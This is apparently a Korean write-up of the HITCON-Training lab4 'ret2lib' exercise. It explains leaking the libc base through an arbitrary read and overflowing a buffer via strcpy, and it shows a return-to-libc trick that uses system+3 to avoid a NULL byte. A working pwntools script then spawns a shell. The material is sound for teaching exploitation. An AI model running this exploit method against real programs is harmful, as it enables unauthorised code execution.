문제
해당 바이너리는 read를 통해 입력 받은 주소에 저장되어 있는 값을 출력한다.
-> 이를 통해서 ASLR이 걸려 있는 바이너리의 libc base address를 알 수 있다.
그 다음 read 함수와 strcpy를 호출하는데 이를 통해서 bof를 발생시킬 수 있다.
NX가 enabled 되어 있기 때문에 return to library 공격을 시도했다. 그런데 Ubuntu 18.04의 경우 leak한 system 주소의 마지막 바이트에 NULL이 들어간다. ( ASLR에 의해서 중간에 있는 2byte 주소가 랜덤화된다.)
system 함수는 대략 아래와 같이 생겼다,
<+0> sub esp, 0xc
<+3> mov eax, DWORD PTR [esp+0x10]
<+7> call 0xf7f1437d <__x86.get_pc_thunk.dx>
...
...
call 0xf7e19ce0 <do_system>
=> system 함수는 eax에 인자를 넣어주고 do_system 함수를 호출한다.
system 함수 주소의 NULL 바이트 값으로 인해서 strcpy가 중간에 끊기는 것을 막기 위해서 system 함수의 주소 대신에 system+3 주소 값을 넣어주고 esp+0x10에 “/bin/sh”의 주소가 위치하게 payload를 구성한다.
또는 system 함수의 주소 대신 system - 특정 값을 넣어주면 된다. 하지만 이 경우에는 system - 특정 값에 위치한 명령어들이 제대로 실행될 수 있는 환경을 갖추고 있어야 한다. (e.x) system - 2 에 mov al, [eax]가 있으면 eax에 있는 값이 readable한 주소여야한다.)
다른 방법으로는 payload를 get(bss) + do_system로 구성하고 bss에 “/bin/sh” 넣어주는 방법도 있다. (get의 return 값은 인자값이므로 eax에 bss의 주소가 들어간다. 그리고 bss 영역은 ASLR이 걸려있지 않아 주소가 변경되지 않는다.)
c.f) => __x86.get_pc_thunk.dx는 아래와 같이 구성되어 있다.
mov edx, DWORD PTR [esp]
ret
위 코드를 통해서 다음에 수행할 명령어의 위치를 알아낼 수 있다. (PIE, ASLR에서 사용됨)
풀이
#!/usr/bin/python
from pwn import *
file_path="/home/sungyun/HITCON-Training/LAB/lab4/ret2lib"
puts_got=0x0804a01c
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
p=process(file_path)
p.recvuntil("(in dec) :")
p.send(str(puts_got))
p.recvuntil("address : ")
puts=p.recv(10)
libc_base=int(puts,16)-libc.symbols['puts']
system=libc_base+libc.symbols['system']
sh=libc_base+list(libc.search('/bin/sh\x00'))[0]
data=p.recvuntil(":")
pay="A"*0x3c
pay+=p32(system+3) # system_addr_contains_NULL
pay+="AAAA"*4
pay+=p32(sh)
p.send(pay)
p.interactive()